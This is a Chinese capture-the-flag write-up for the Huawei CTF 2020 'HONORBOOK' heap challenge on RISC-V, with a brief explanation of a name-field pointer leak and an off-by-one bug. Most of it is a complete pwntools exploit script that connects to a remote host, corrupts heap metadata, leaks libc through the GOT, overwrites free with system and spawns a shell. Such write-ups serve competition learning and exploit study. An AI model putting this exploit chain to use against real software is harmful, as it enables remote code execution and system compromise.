0%

华为CTF2020第二场_HONORBOOK

架构是risc-v的,IDA装上插件勉强能看汇编,但是没有进行重定位不好看,直接进行盲打测试,发现程序先是malloc(0x20),用于存放name和content指针,然后content通过malloc(0xf0)获得,name没有进行\0截断,可以用于泄露content指针,而输入content时,存在一个off by one,libc为glibc 2.27,于是就可以直接开始进行利用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding:utf8
from pwn import *

sh = remote('121.36.192.114',9999)

def add(index,name,msg,line = True):
sh.sendlineafter('Code:','1')
sh.sendlineafter('ID:',str(index))
sh.sendafter('User name:',name)
if line:
sh.sendlineafter('Msg:',msg)
else:
sh.sendafter('Msg:',msg)

def delete(index):
sh.sendlineafter('Code:','2')
sh.sendlineafter('ID:',str(index))

def show(index):
sh.sendlineafter('Code:','3')
sh.sendlineafter('ID:',str(index))

def edit(index,msg):
sh.sendlineafter('Code:','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Msg:',msg)

add(0,'a'*0x18,'b'*0xe0) #0
show(0)
sh.recvuntil('a'*0x18)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
add(1,'b','b'*0xc0) #1
add(2,'c','c'*0xb0 + p64(0) + p64(0x21) + 'c'*0x10 + p64(0) + p64(0x21)) #2
add(3,'d','/bin/sh\x00') #3
delete(1)
#null by one修改2的node的size
add(1,'b','b'*0xe8 + p8(0xf1),False)

for i in range(4,11):
add(i,'e','e')

for i in range(4,11):
delete(i)

delete(2)
for i in range(4,11):
add(i,'e','e')

#将2的content指向1的node
add(2,'c'*0x18,'c'*0x20 + p64(0) + p64(0x21) + 'ha1vk'.ljust(0x18,'c') + p64(heap_addr + 0xf0))

#leak got
'''for i in range(0x10):
edit(2,'ha1vk'.ljust(0x18,'c') + p64(0x13018 + i*0x8))
show(1)
sh.recvuntil('Msg: ')
free_got_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
print 'free_got_addr=',hex(free_got_addr)
'''

free_got = 0x13018 + 11*0x8
edit(2,'ha1vk'.ljust(0x18,'c') + p64(free_got))
show(1)
sh.recvuntil('Msg: ')
free_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = free_addr - 0x62CA6
system_addr = libc_base + 0x388FE
print 'free_addr=',hex(free_addr)
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

#修改free的got表
edit(1,p64(system_addr)[0:4])
#getshell
delete(3)

sh.interactive()